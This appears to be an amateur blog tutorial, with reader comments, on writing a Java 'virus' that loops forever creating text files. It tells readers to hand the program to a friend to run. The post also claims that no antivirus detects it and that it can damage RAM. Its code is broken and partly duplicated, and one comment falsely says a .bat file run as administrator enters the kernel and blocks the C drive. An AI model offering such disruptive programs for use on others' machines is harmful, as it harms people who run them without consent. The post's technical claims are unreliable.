"A piece of code which is capable of copying itself and typically has a detrimental effect, such as corrupting the system or destroying data."
Normally people's think that virus is something similar to atomic bomb or something but literally virus
is a piece of code which execute's after some specified condition become true or we manually execute's
it.
Who Created Virus First ?
Published on Apr 17, 2013.
The first ever computer virus was developed in 1986 by two Pakistani brothers in Lahore Pakistan. The first computer virus named "Brain" was designed by Amjad Farooq Alvi and Basit Farooq Alvi with the intention of determining the piracy of a software written by them.
How To Create A
Simple Virus And
What Languages Are
Used?
C Sharp and C++ are very popular language's in Cracking word. Sometimes hacker do use of other
object oriented languages such as Java n etc. Today I'll teach you how to create a simple virus using JAVA.
DETAILS OF VIRUS:-
This virus start creating multiple files in your drive and it will continue till this program is not
stopped manually but you can't stop this program because it hang's your computer as well and to be honest I tried this virus on my PC and it created 80,000+ files in my drive.
Intensity OF VIRUS:-
This doesn't harm your data but may be possible it will destroy your RAM & make your processor abnormal.
IS THIS DETECTED BY ANY ANTI-VIRUS?
No! No anti virus will able to stop it because mainly anti viruses focuses for Trojan Horses, malicious etc.
STEP 1:
First of all you need to install java in your computer with JDK.
STEP 2:
Then make a loop which will whose scope must be infinite.
EXAMPLE:-
int a=0;
while(a<10){
}
since we havn't incremented "a" which are variable in while block that's why it's scope is infinity.
STEP 3:
Import a file PrintWriter class which will create file and then type following code.
EXAMPLE:-
try {
PrintWriter b = null;
b = new PrintWriter("d:\\"+ a + ".txt");
b.write("Sorry..!! :P" + "\n Regards Hani");
} catch (FileNotFoundException ex) {
Logger.getLogger(NewJFrame.class.getName()).log(Level.SEVERE, null, ex);
}
Here catch block is executed if exception is raised. I'll teach you about exceptions in java in my next blog.
Import a file PrintWriter class which will create file and then type following code.
EXAMPLE:-
try {
PrintWriter b = null;
b = new PrintWriter("d:\\"+ a + ".txt");
b.write("Sorry..!! :P" + "\n Regards Hani");
} catch (FileNotFoundException ex) {
Logger.getLogger(NewJFrame.class.getName()).log(Level.SEVERE, null, ex);
}
Here catch block is executed if exception is raised. I'll teach you about exceptions in java in my next blog.
STEP 4:
Now build application and give to your friend and tell him to execute and see a honey Shell :)
That's It. :)
You can download complete project by contacting me on facebook :)
https://www.facebook.com/Hearthackerhani
NOTE:THIS IS FOR ONLY EDUCATIONAL PURPOSE.
Now build application and give to your friend and tell him to execute and see a honey Shell :)
That's It. :)
You can download complete project by contacting me on facebook :)
https://www.facebook.com/Hearthackerhani
NOTE:THIS IS FOR ONLY EDUCATIONAL PURPOSE.
THANK YOU.
could you please tell me how would i convert the virus program into .exe and if i had converted would it be possible it could run without my friend having any jre or jdk.Also i tried this to create a file in C drive but it could't a error occurred please tell me how to resolve it.
ReplyDeleteThanks in advance!!
if you want such thing to happen then you need to choose C#. I will post a code for it too.
Deletestay tuned. :)
Thanks for taking interest.
jst save the save as .bat extension and run as administrator... it will enter into the kernel and will block the c drive....have fun
Deletejst save the save as .bat extension and run as administrator... it will enter into the kernel and will block the c drive....have fun
DeleteYou may use Launch4j after transforming this project into a .jar file using any tool
DeleteHell bro
ReplyDeleteI am a IT student please provide me code of this virus
i want to learn about computer program and make some virus program . plz u help me
ReplyDeletereal gay
ReplyDeletelol
DeleteUr giving wrong info about who created first virus
ReplyDeleteyou can google it this information is 100% authentic.
DeleteI want 2 be an hacker...most of sites provides wrong information...this 1 worked
ReplyDeleteikr
Deletefkeaopfnaoiwnio naiwoncfoaiwnf
ReplyDeleteHello I'm a student. May I translate your articles into Uzbek language. I would be grateful if you let me. I will claim that I have translated these articles and show link to the source.
Delete